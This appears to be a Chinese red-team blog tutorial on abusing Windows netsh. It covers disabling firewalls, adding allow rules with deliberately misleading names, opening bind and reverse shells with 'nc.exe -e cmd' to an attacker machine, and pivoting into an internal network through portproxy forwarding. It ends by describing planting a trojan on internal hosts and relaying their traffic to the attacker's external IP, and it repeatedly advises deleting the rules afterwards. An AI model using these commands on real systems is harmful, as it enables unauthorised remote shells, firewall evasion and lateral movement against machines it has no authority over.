使用netsh来进行端口转发

目录

0x00 简介

0x01 2003命令介绍

0x02 2003以后命令介绍(以08为例)

0x03 实际利用案例

0x04 流量转发

0x00 简介

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具(来源于百度百科)。

注:

以下所有例子以三台机器为例来进行演示了

假设03和08为边界机器,Ubuntu为内网机器

win2003 192.168.191.128

win2008 192.168.191.131

Ubuntu 192.168.191.130

PS:为了帮助大家理解,03和08的例子采用了两种查看命令执行结果的方式

0x01 2003命令介绍

基本介绍

netsh firewall show state 查看系统防火墙状态

file

netsh firewall set opmode disable 关闭防火墙

file

netsh firewall set opmode enable 开启防火墙

file

设置进出站规则

根据端口

netsh firewall add portopening 协议 端口 名字

协议:TCP/UDP/ALL

端口:1-65535

名字:随意,最好使用一些有迷惑性的

netsh firewall add portopening tcp 333 test  添加规则

file

netsh firewall delete portopening tcp 333 删除规则

file

根据进程

netsh firewall add allowedprogram 位置名字 允许与否
netsh firewall add allowedprogram c://nc.exe test enable 添加规则

file

file

netsh firewall delete allowedprogram c:\nc.exe 删除规则

file

部分单词也不需要全部记住,知道开头的内容,后面靠帮助信息进行操作就可以了

file

0x02 2003以后命令介绍(以08为例)

netsh advfirewall show allprofiles 查看所有类型的防火墙状态

file

netsh advfirewall set allprofiles state off 关闭防火墙

file

netsh advfirewall set allprofiles state on 开启防火墙

file

netsh advfirewall reset 重置防火墙规则(重置到刚装好系统时的状态)

file

设置进出站规则

根据端口

入站规则

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333 添加规则

file

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333 删除规则

file

出站规则

netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=333 添加规则

file

netsh advfirewall firewall delete rule name=test dir=out protocol=tcp localport=333 删除规则

file

根据进程

入站规则

netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\nc.exe 添加规则

![file](https://graph. nbaidu.com/resource/212ac94af89e440d630a801569551144.png)

netsh advfirewall firewall delete rule name=test dir=in program=c:\nc.exe 删除规则

file

出站规则

netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\nc.exe 添加规则

file

netsh advfirewall firewall delete rule name=test dir=out program=c:\nc.exe 删除规则

file

0x03 实际利用案例(以2008为例)

正向连接shell

netsh advfirewall firewall add rule name=ncdir=in action=allow protocol=tcp localport=333

file

nc.exe -lvp 333 -e cmd

file

回到攻击机上

nc.exe -nv 192.168.191.131 333

file

虽然暂时不明白中间的报错是因为什么,但是是可以成功弹回shell的

file

最后一定要记得删除所添加的规则

netsh advfirewall firewall delete rule name=nc protocol=tcp localport=333

file

反向连接shell

首先在本地进行监听

nc.exe -lvp 333

file

然后到08的机子上,添加规则

netsh advfirewall firewall add rule name=nc dir=out action=allow protocol=tcp localport=333

file

然后执行

nc.exe -nv 10.1.135.96 333 -e cmd

注:这里10.1.135.96是我本地的机子

file

之后就能弹回来shell

file

最后不要忘了顺手删掉添加的规则

file

通过添加进程的,跟这个同理

0x04 流量转发

地址类型设置如下

file

将来自333端口的流量全部转发到192.168.191.130的22端口

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

file

netsh interface portproxy show all 查看所有转发规则

file

添加完成之后一定要查一下端口有没有起来

file

netsh interface portproxy delete v4tov4 listenport=333 删除转发规则

file

使用端口转发来连接内网机器

这里以08为例

设置进站规则

netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333

file

设置流量转发

将所有来到333端口的流量全部转发到192.168.191.130的22端口上

netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22

file

查看是否添加成功,端口有没有起来

file

然后连接192.168.191.131的333端口,就是连接内网中192.168.191.130的22端口

file

file

在结束之后,一定要顺手把添加的规则都删除掉

netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333

file

netsh interface portproxy delete v4tov4 listenport=333

file

如果内网机子不能正常连外网的话,也可以在边界机器上使用流量转发来进行连接,在内网机器上种马,使其连接边界机器的指定端口,然后在边界机器将所有来自本地指定端口的流量,全部都转发到攻击者的外网主机上即可

即:

netsh interface portproxy add v4tov4 listenport=本地端口 listenaddress=本地IP connectaddress=攻击者外网IP connectport=攻击者外网端口

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号。

扫码关注即可

file

posted @ 2019-09-27 11:00  信安本原  阅读(1006)  评论(0编辑  收藏  举报